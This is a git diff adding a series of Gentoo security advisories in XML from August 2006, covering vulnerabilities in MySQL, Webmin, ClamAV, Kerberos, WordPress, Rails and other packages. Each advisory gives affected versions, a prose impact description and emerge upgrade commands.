@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-09">
+  <title>MySQL: Denial of Service</title>
+  <synopsis>
+    An authenticated user can crash MySQL through invalid parameters to the
+    date_format function.
+  </synopsis>
+  <product type="ebuild">mysql</product>
+  <announced>August 06, 2006</announced>
+  <revised>August 07, 2006: 02</revised>
+  <bug>142429</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">4.1.21</unaffected>
+      <unaffected range="lt">4.1.0</unaffected>
+      <vulnerable range="lt">4.1.21</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a popular multi-threaded, multi-user SQL server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jean-David Maillefer discovered a format string vulnerability in
+    time.cc where MySQL fails to properly handle specially formatted user
+    input to the date_format function.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By specifying a format string as the first parameter to the date_format
+    function, an authenticated attacker could cause MySQL to crash,
+    resulting in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MySQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --verbose --oneshot &quot;&gt;=dev-db/mysql-4.1.21&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3469">CVE-2006-3469</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 06 Aug 2006 17:22:07 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 06 Aug 2006 17:22:38 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 06 Aug 2006 18:32:52 +0000">
+    hlieberman
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-10.xml b/xml/htdocs/security/en/glsa/glsa-200608-10.xml
new file mode 100644
index 00000000..f77af97c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-10.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-10">
+  <title>pike: SQL injection vulnerability</title>
+  <synopsis>
+    A flaw in the input handling could lead to the execution of arbitrary SQL
+    statements in the underlying PostgreSQL database.
+  </synopsis>
+  <product type="ebuild">pike</product>
+  <announced>August 06, 2006</announced>
+  <revised>December 13, 2006: 02</revised>
+  <bug>136065</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/pike" auto="yes" arch="*">
+      <unaffected range="ge">7.6.86</unaffected>
+      <vulnerable range="lt">7.6.86</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pike is a general purpose programming language, able to be used for
+    multiple tasks.
+    </p>
+  </background>
+  <description>
+    <p>
+    Some input is not properly sanitised before being used in a SQL
+    statement in the underlying PostgreSQL database.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could provide malicious input to a pike program,
+    which might result in the execution of arbitrary SQL statements.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pike users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/pike-7.6.86&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/20494/">Secunia Advisory SA20494</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4041">CVE-2006-4041</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 05 Aug 2006 16:54:41 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 05 Aug 2006 16:55:04 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 05 Aug 2006 17:42:54 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-11.xml b/xml/htdocs/security/en/glsa/glsa-200608-11.xml
new file mode 100644
index 00000000..4802ad5f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-11.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-11">
+  <title>Webmin, Usermin: File Disclosure</title>
+  <synopsis>
+    Webmin and Usermin are vulnerable to an arbitrary file disclosure through a
+    specially crafted URL.
+  </synopsis>
+  <product type="ebuild">webmin/usermin</product>
+  <announced>August 06, 2006</announced>
+  <revised>August 06, 2006: 01</revised>
+  <bug>138552</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/webmin" auto="yes" arch="*">
+      <unaffected range="ge">1.290</unaffected>
+      <vulnerable range="lt">1.290</vulnerable>
+    </package>
+    <package name="app-admin/usermin" auto="yes" arch="*">
+      <unaffected range="ge">1.220</unaffected>
+      <vulnerable range="lt">1.220</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Webmin is a web-based interface for Unix-like systems. Usermin is a
+    simplified version of Webmin designed for use by normal users rather
+    than system administrators.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability in both Webmin and Usermin has been discovered by Kenny
+    Chen, wherein simplify_path is called before the HTML is decoded.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A non-authenticated user can read any file on the server using a
+    specially crafted URL.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    For a temporary workaround, IP Access Control can be setup on Webmin
+    and Usermin.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Webmin users should update to the latest stable version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --verbose --oneshot &quot;&gt;=app-admin/webmin-1.290&quot;</code>
+    <p>
+    All Usermin users should update to the latest stable version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --verbose --oneshot &quot;&gt;=app-admin/usermin-1.220&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392">CVE-2006-3392</uri>
+  </references>
+  <metadata tag="">
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 06 Aug 2006 17:23:21 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 06 Aug 2006 18:24:45 +0000">
+    hlieberman
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-12.xml b/xml/htdocs/security/en/glsa/glsa-200608-12.xml
new file mode 100644
index 00000000..14a2a871
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-12.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-12">
+  <title>x11vnc: Authentication bypass in included LibVNCServer code</title>
+  <synopsis>
+    VNC servers created with x11vnc accept insecure protocol types, even when
+    the server does not offer it, resulting in the possibility of unauthorized
+    access to the server.
+  </synopsis>
+  <product type="ebuild">x11vnc</product>
+  <announced>August 07, 2006</announced>
+  <revised>August 07, 2006: 01</revised>
+  <bug>142559</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-misc/x11vnc" auto="yes" arch="*">
+      <unaffected range="ge">0.8.1</unaffected>
+      <vulnerable range="lt">0.8.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    x11vnc provides VNC servers for X displays.
+    </p>
+  </background>
+  <description>
+    <p>
+    x11vnc includes vulnerable LibVNCServer code, which fails to properly
+    validate protocol types effectively letting users decide what protocol
+    to use, such as "Type 1 - None" (GLSA-200608-05). x11vnc will accept
+    this security type, even if it is not offered by the server.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit this vulnerability to gain unauthorized
+    access with the privileges of the user running the VNC server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All x11vnc users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-misc/x11vnc-0.8.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2450">CVE-2006-2450</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200608-05.xml">GLSA-200608-05</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 05 Aug 2006 07:18:47 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 05 Aug 2006 16:44:29 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 05 Aug 2006 17:17:11 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-13.xml b/xml/htdocs/security/en/glsa/glsa-200608-13.xml
new file mode 100644
index 00000000..4a71b0db
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-13.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-13">
+  <title>ClamAV: Heap buffer overflow</title>
+  <synopsis>
+    ClamAV is vulnerable to a heap-based buffer overflow resulting in a Denial
+    of Service and potentially remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>August 08, 2006</announced>
+  <revised>August 08, 2006: 02</revised>
+  <bug>143093</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.88.4</unaffected>
+      <vulnerable range="lt">0.88.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ClamAV is a GPL virus scanner.
+    </p>
+  </background>
+  <description>
+    <p>
+    Damian Put has discovered a boundary error in the pefromupx() function
+    used by the UPX extraction module, which unpacks PE Windows executable
+    files. Both the "clamscan" command-line utility and the "clamd" daemon
+    are affected.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a malicious attachment to a mail server running ClamAV, a
+    remote attacker can cause a Denial of Service and potentially the
+    execution of arbitrary code with the permissions of the user running
+    ClamAV.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.88.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.clamav.net/security/0.88.4.html">ClamAV security advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4018">CVE-2006-4018</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 08 Aug 2006 07:45:00 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 08 Aug 2006 09:57:22 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-14.xml b/xml/htdocs/security/en/glsa/glsa-200608-14.xml
new file mode 100644
index 00000000..c79b35da
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-14.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-14">
+  <title>DUMB: Heap buffer overflow</title>
+  <synopsis>
+    A heap-based buffer overflow in DUMB could result in the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">dumb</product>
+  <announced>August 08, 2006</announced>
+  <revised>August 08, 2006: 01</revised>
+  <bug>142387</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/dumb" auto="yes" arch="*">
+      <unaffected range="ge">0.9.3-r1</unaffected>
+      <vulnerable range="lt">0.9.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    DUMB (Dynamic Universal Music Bibliotheque) is an IT, XM, S3M and MOD
+    player library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma found a heap-based buffer overflow in the
+    it_read_envelope function which reads the envelope values for volume,
+    pan and pitch of the instruments referenced in a ".it" (Impulse
+    Tracker) file with a large number of nodes.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to load a malicious ".it" (Impulse Tracker) file, an
+    attacker may execute arbitrary code with the rights of the user running
+    the application that uses a vulnerable DUMB library.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of DUMB should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/dumb-0.9.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3668">CVE-2006-3668</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 05 Aug 2006 16:58:21 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 05 Aug 2006 17:55:25 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 08 Aug 2006 09:58:20 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-15.xml b/xml/htdocs/security/en/glsa/glsa-200608-15.xml
new file mode 100644
index 00000000..59705ba6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-15.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-15">
+  <title>MIT Kerberos 5: Multiple local privilege escalation vulnerabilities</title>
+  <synopsis>
+    Some applications shipped with MIT Kerberos 5 are vulnerable to local
+    privilege escalation.
+  </synopsis>
+  <product type="ebuild">MIT Kerberos 5</product>
+  <announced>August 10, 2006</announced>
+  <revised>August 10, 2006: 01</revised>
+  <bug>143240</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.4.3-r3</unaffected>
+      <vulnerable range="lt">1.4.3-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MIT Kerberos 5 is a suite of applications that implement the Kerberos
+    network protocol. It is designed to provide strong authentication for
+    client/server applications by using secret-key cryptography.
+    </p>
+  </background>
+  <description>
+    <p>
+    Unchecked calls to setuid() in krshd and v4rcp, as well as unchecked
+    calls to seteuid() in kftpd and in ksu, have been found in the MIT
+    Kerberos 5 program suite and may lead to a local root privilege
+    escalation.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could exploit this vulnerability to execute arbitrary
+    code with elevated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MIT Kerberos 5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/mit-krb5-1.4.3-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3083">CVE-2006-3083</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3084">CVE-2006-3084</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 09 Aug 2006 18:31:59 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 09 Aug 2006 20:23:17 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 10 Aug 2006 14:34:58 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-16.xml b/xml/htdocs/security/en/glsa/glsa-200608-16.xml
new file mode 100644
index 00000000..e84817cd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-16.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-16">
+  <title>Warzone 2100 Resurrection: Multiple buffer overflows</title>
+  <synopsis>
+    Warzone 2100 Resurrection server and client are vulnerable to separate
+    buffer overflows, potentially allowing remote code execution.
+  </synopsis>
+  <product type="ebuild">warzone2100</product>
+  <announced>August 10, 2006</announced>
+  <revised>September 04, 2006: 02</revised>
+  <bug>142389</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-strategy/warzone2100" auto="yes" arch="*">
+      <unaffected range="ge">2.0.4</unaffected>
+      <vulnerable range="le">2.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Warzone 2100 Resurrection is a real-time strategy game, developed by
+    Pumpkin Studios and published by Eidos Interactive.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma discovered two buffer overflow vulnerabilities in
+    Warzone 2100 Resurrection. The recvTextMessage function of the Warzone
+    2100 Resurrection server and the NETrecvFile function of the client use
+    insufficiently sized buffers.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit these vulnerabilities by sending
+    specially crafted input to the server, or enticing a user to load a
+    specially crafted file from a malicious server. This may result in the
+    execution of arbitrary code with the permissions of the user running
+    Warzone 2100 Resurrection.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround for this issue.
+    </p>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Warzone 2100 Resurrection users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-strategy/warzone2100-2.0.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3849">CVE-2006-3849</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 07 Aug 2006 07:47:59 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 07 Aug 2006 07:48:19 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 07 Aug 2006 12:17:00 +0000">
+    dizzutch
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-17.xml b/xml/htdocs/security/en/glsa/glsa-200608-17.xml
new file mode 100644
index 00000000..a29327bd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-17.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-17">
+  <title>libwmf: Buffer overflow vulnerability</title>
+  <synopsis>
+    libwmf is vulnerable to an integer overflow potentially resulting in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libwmf</product>
+  <announced>August 10, 2006</announced>
+  <revised>August 10, 2006: 01</revised>
+  <bug>139325</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libwmf" auto="yes" arch="*">
+      <unaffected range="ge">0.2.8.4</unaffected>
+      <vulnerable range="lt">0.2.8.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libwmf is a library for reading and converting vector images in
+    Microsoft's native Windows Metafile Format (WMF).
+    </p>
+  </background>
+  <description>
+    <p>
+    infamous41md discovered that libwmf fails to do proper bounds checking
+    on the MaxRecordSize variable in the WMF file header. This could lead
+    to an head-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a specially crafted WMF file, a remote
+    attacker could cause a heap-based buffer overflow and execute arbitrary
+    code with the permissions of the user running the application that uses
+    libwmf.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround for this issue.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libwmf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libwmf-0.2.8.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3376">CVE-2006-3376</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 07 Aug 2006 08:01:55 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 07 Aug 2006 12:39:07 +0000">
+    dizzutch
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 08 Aug 2006 11:33:41 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-18.xml b/xml/htdocs/security/en/glsa/glsa-200608-18.xml
new file mode 100644
index 00000000..ddc92b29
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-18.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-18">
+  <title>Net::Server: Format string vulnerability</title>
+  <synopsis>
+    A format string vulnerability has been reported in Net::Server which can be
+    exploited to cause a Denial of Service.
+  </synopsis>
+  <product type="ebuild">net-server</product>
+  <announced>August 10, 2006</announced>
+  <revised>August 10, 2006: 01</revised>
+  <bug>142386</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-perl/net-server" auto="yes" arch="*">
+      <unaffected range="ge">0.88</unaffected>
+      <vulnerable range="lt">0.88</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Net::Server is an extensible, generic Perl server engine. It is used by
+    several Perl applications like Postgrey.
+    </p>
+  </background>
+  <description>
+    <p>
+    The log function of Net::Server does not handle format string
+    specifiers properly before they are sent to syslog.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a specially crafted datastream to an application using
+    Net::Server, an attacker could cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Net::Server should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-perl/net-server-0.88&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1127">CVE-2005-1127</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 07 Aug 2006 08:06:01 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 07 Aug 2006 12:30:18 +0000">
+    dizzutch
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 08 Aug 2006 10:05:21 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-19.xml b/xml/htdocs/security/en/glsa/glsa-200608-19.xml
new file mode 100644
index 00000000..91fcb383
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-19.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-19">
+  <title>WordPress: Privilege escalation</title>
+  <synopsis>
+    A flaw in WordPress allows registered WordPress users to elevate
+    privileges.
+  </synopsis>
+  <product type="ebuild">wordpress</product>
+  <announced>August 10, 2006</announced>
+  <revised>December 13, 2006: 02</revised>
+  <bug>142142</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/wordpress" auto="yes" arch="*">
+      <unaffected range="ge">2.0.4</unaffected>
+      <vulnerable range="lt">2.0.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    WordPress is a PHP and MySQL based multiuser blogging system.
+    </p>
+  </background>
+  <description>
+    <p>
+    The WordPress developers have confirmed a vulnerability in capability
+    checking for plugins.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By exploiting a flaw, a user can circumvent WordPress access
+    restrictions when using plugins. The actual impact depends on the
+    configuration of WordPress and may range from trivial to critical,
+    possibly even the execution of arbitrary PHP code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All WordPress users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/wordpress-2.0.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3389">CVE-2006-3389</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3390">CVE-2006-3390</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4028">CVE-2006-4028</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 07 Aug 2006 16:38:11 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 08 Aug 2006 02:48:29 +0000">
+    dizzutch
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 08 Aug 2006 13:15:28 +0000">
+    frilled
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-20.xml b/xml/htdocs/security/en/glsa/glsa-200608-20.xml
new file mode 100644
index 00000000..7a22d363
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-20.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-20">
+  <title>Ruby on Rails: Several vulnerabilities</title>
+  <synopsis>
+    Ruby on Rails has some weaknesses potentially allowing a Denial of Service
+    and maybe the remote execution of arbitrary Ruby scripts.
+  </synopsis>
+  <product type="ebuild">rails</product>
+  <announced>August 14, 2006</announced>
+  <revised>December 13, 2006: 02</revised>
+  <bug>143369</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-ruby/rails" auto="yes" arch="*">
+      <unaffected range="ge">1.1.6</unaffected>
+      <vulnerable range="lt">1.1.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby on Rails is an open-source web framework.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Ruby on Rails developers have corrected some weaknesses in
+    action_controller/, relative to the handling of the user input and the
+    LOAD_PATH variable. A remote attacker could inject arbitrary entries
+    into the LOAD_PATH variable and alter the main Ruby on Rails process.
+    The security hole has only been partly solved in version 1.1.5. Version
+    1.1.6 now fully corrects it.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker that would exploit these weaknesses might cause a
+    Denial of Service of the web framework and maybe inject arbitrary Ruby
+    scripts.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby on Rails users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-ruby/rails-1.1.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://weblog.rubyonrails.org/2006/8/9/rails-1-1-5-mandatory-security-patch-and-other-tidbits">Ruby on Rails original advisory (1.1.5)</uri>
